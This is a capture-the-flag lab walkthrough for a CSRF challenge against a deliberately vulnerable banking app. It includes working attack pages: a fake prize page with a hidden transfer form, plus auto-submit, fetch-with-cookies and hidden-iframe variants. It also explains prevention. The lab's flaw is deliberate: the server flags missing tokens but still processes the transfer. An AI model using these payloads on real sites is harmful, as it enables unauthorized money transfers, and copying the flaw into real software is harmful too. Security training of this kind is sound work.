Avatar

Labs / CSRF Bank Transfer

  • Daily Challenge
  • Released 05 Aug 2025
The lab needs to be started first.
Need help to start?
Daily Challenge

CSRF Bank Transfer - Complete Solution Walkthrough

Understanding CSRF Vulnerabilities

Cross-Site Request Forgery (CSRF) exploits the trust a website has in a user's browser. When a user is authenticated to a web application, their browser automatically includes authentication cookies with every request to that domain. CSRF attacks leverage this behavior by tricking users into making requests they didn't intend to make.

Step 1: Initial Reconnaissance

  1. Access the banking application: Navigate to <target-ip> to access SecureBank
  2. Examine the login functionality: Note the available user accounts (alice/alice123, bob/bob123, charlie/charlie123)
  3. Log in as a user: Use credentials alice/alice123 to log into the banking system
  4. Explore the dashboard: Examine the account balance, transaction history, and transfer functionality
  5. Test normal transfer: Try transferring a small amount between accounts to understand the process

Step 2: Analyzing the Transfer Form

  1. Inspect the transfer form: Use browser developer tools to examine the money transfer form
  2. Note form parameters: Identify required fields (recipient_account, amount, description)
  3. Check for CSRF protection: Observe that the form includes a hidden csrf_token field
  4. Examine form method: Note that the form uses POST method to /transfer endpoint
Form Analysis:
<form method="POST" action="/transfer">
  <input type="hidden" name="csrf_token" value="[SESSION-TOKEN]">
  <input name="recipient_account" type="text">
  <input name="amount" type="number">
  <input name="description" type="text">
</form>
Key Insight: The form includes CSRF tokens, but external forms won't have access to these session-based tokens, making CSRF attacks possible when requests bypass this protection.

Step 3: Crafting the CSRF Attack

Create a malicious HTML page that will perform an unauthorized transfer when visited by an authenticated user. The key is to send the request without the valid CSRF token:

<!DOCTYPE html>
<html>
<head>
    <title>Win $1000 - Claim Now!</title>
</head>
<body>
    <h1>🎉 Congratulations! You've won $1000! 🎉</h1>
    <p>Click the button below to claim your prize instantly!</p>
    
    <!-- CSRF attack form - NO CSRF TOKEN -->
    <form id="csrf-form" method="POST" action="http://<target-ip>/transfer" style="display:none;">
        <input name="recipient_account" value="ACC002" type="hidden">
        <input name="amount" value="500" type="hidden">
        <input name="description" value="Prize money transfer" type="hidden">
        <!-- NO csrf_token field = CSRF attack! -->
    </form>
    
    <button onclick="document.getElementById('csrf-form').submit(); alert('Prize claimed! Check your account.')" style="background: #28a745; color: white; padding: 15px 30px; border: none; border-radius: 5px; font-size: 18px; cursor: pointer;">
        💰 Claim Your $1000 Prize Now! 💰
    </button>
</body>
</html>
  1. Save this as csrf-attack.html on your local machine
  2. Replace <target-ip> with the actual target IP address
  3. Note the recipient_account: Set to ACC002 (Bob's account) to receive the stolen funds
  4. Critical point: The form intentionally excludes the csrf_token field

Step 4: Executing the CSRF Attack

  1. Ensure you're logged in: Log into SecureBank as Alice (alice/alice123) in your browser
  2. Note initial balances: Check Alice's balance ($5,000) and Bob's balance ($3,000)
  3. Open the attack page: In the same browser session, open csrf-attack.html from your file system
  4. Trigger the attack: Click the "Claim Your $1000 Prize Now!" button
  5. Verify the attack: Return to SecureBank and refresh any page
Success Indicators:
• A bright green flag banner appears at the top of every page
• Message: "🎉 CSRF ATTACK DETECTED! Challenge Completed Successfully!"
• Flag is prominently displayed in the banner
• Alice's balance decreased by $500
• Bob's account received the transferred funds
• Transaction appears in Alice's transaction history

Step 5: Understanding the Detection Mechanism

The application detects CSRF attacks by checking for valid CSRF tokens:

# Server-side CSRF detection logic:
submitted_token = request.form.get('csrf_token', '')

if not validate_csrf_token(submitted_token):
    csrf_detected = True  # Flag will appear on all pages
    print("🚨 CSRF ATTACK DETECTED! Request without valid CSRF token")
  • Normal requests: Include valid session-based CSRF tokens
  • CSRF attacks: External forms cannot access session tokens
  • Detection trigger: Missing or invalid CSRF token = Attack detected
  • Flag display: Appears immediately on all application pages

Step 6: Alternative Attack Methods

Method 1: Auto-Submit Form

<script>
// Automatically submit the form when page loads
window.onload = function() {
    document.getElementById('csrf-form').submit();
};
</script>

Method 2: JavaScript Fetch API

<script>
fetch('http://<target-ip>/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: 'recipient_account=ACC002&amount=500&description=CSRF Attack',
    credentials: 'include'  // Include session cookies
});
</script>

Method 3: Iframe-Based Attack

<iframe src="about:blank" name="csrf-frame" style="display:none;"></iframe>
<form method="POST" action="http://<target-ip>/transfer" target="csrf-frame">
    <input name="recipient_account" value="ACC002" type="hidden">
    <input name="amount" value="500" type="hidden">
    <input name="description" value="Hidden transfer" type="hidden">
</form>
<script>document.forms[0].submit();</script>

Step 7: Flag Location and Verification

  1. Immediate flag display: Once CSRF is detected, the flag appears on every page
  2. Flag location: Bright green banner at the top of all application pages
  3. Flag format: UUID format (e.g., e8d2a271-e689-40e1-bea9-1f9c2c249d78)
  4. Persistent display: Flag remains visible throughout the session on all pages
  5. No separate endpoint needed: Flag is integrated into the application UI
Success Confirmation: The challenge is complete when you see the green flag banner with the message "CSRF ATTACK DETECTED! Challenge Completed Successfully!" and the flag UUID displayed prominently.

Understanding the Attack Vector

  • Session riding: The attack leverages existing user sessions and authentication cookies
  • Token bypass: External forms cannot access session-based CSRF tokens
  • State-changing operations: CSRF specifically targets operations that modify data or perform actions
  • User deception: Victims unknowingly trigger malicious requests by visiting attacker-controlled pages
  • Browser behavior: Browsers automatically include cookies, making requests appear legitimate
  • Same-origin trust: The target application trusts requests that include valid session cookies

Real-World Impact and Examples

  • Financial fraud: Unauthorized money transfers, purchases, or account modifications
  • Account takeover: Changing email addresses, passwords, or security settings
  • Social media abuse: Posting content, sending messages, or following accounts
  • Administrative actions: Creating accounts, deleting data, or modifying system settings
  • E-commerce exploitation: Making purchases, changing shipping addresses, or modifying orders
  • Historical examples: Major breaches affecting Gmail, Netflix, and various banking systems

Prevention and Mitigation Strategies

  • CSRF Tokens: Implement unique, unpredictable tokens for each form submission (as attempted in this challenge)
  • SameSite Cookies: Use SameSite=Strict or SameSite=Lax cookie attributes
  • Origin Verification: Check Origin and Referer headers for state-changing requests
  • Double Submit Cookies: Require matching cookie and form parameter values
  • Re-authentication: Require password confirmation for sensitive operations
  • Custom Headers: Require custom headers that browsers cannot set automatically
  • User Education: Train users to recognize phishing and social engineering attempts

Why This Attack Works

  • Token accessibility: External attackers cannot access session-specific CSRF tokens
  • Cookie inclusion: Browsers automatically send authentication cookies with cross-origin requests
  • Processing continues: The application processes the transfer despite the missing CSRF token
  • Detection vs prevention: The app detects but doesn't prevent the attack (for educational purposes)
  • Real-world scenario: Demonstrates how CSRF tokens must be properly validated to prevent attacks

Challenge Summary

This CSRF challenge demonstrates how Cross-Site Request Forgery attacks work even when CSRF tokens are present but not properly enforced. By crafting external forms that exclude CSRF tokens, attackers can perform unauthorized actions on behalf of authenticated users. The challenge shows both the attack technique and the importance of proper CSRF protection implementation. Understanding these vulnerabilities is crucial for developing secure web applications that properly validate user intent and protect against malicious requests.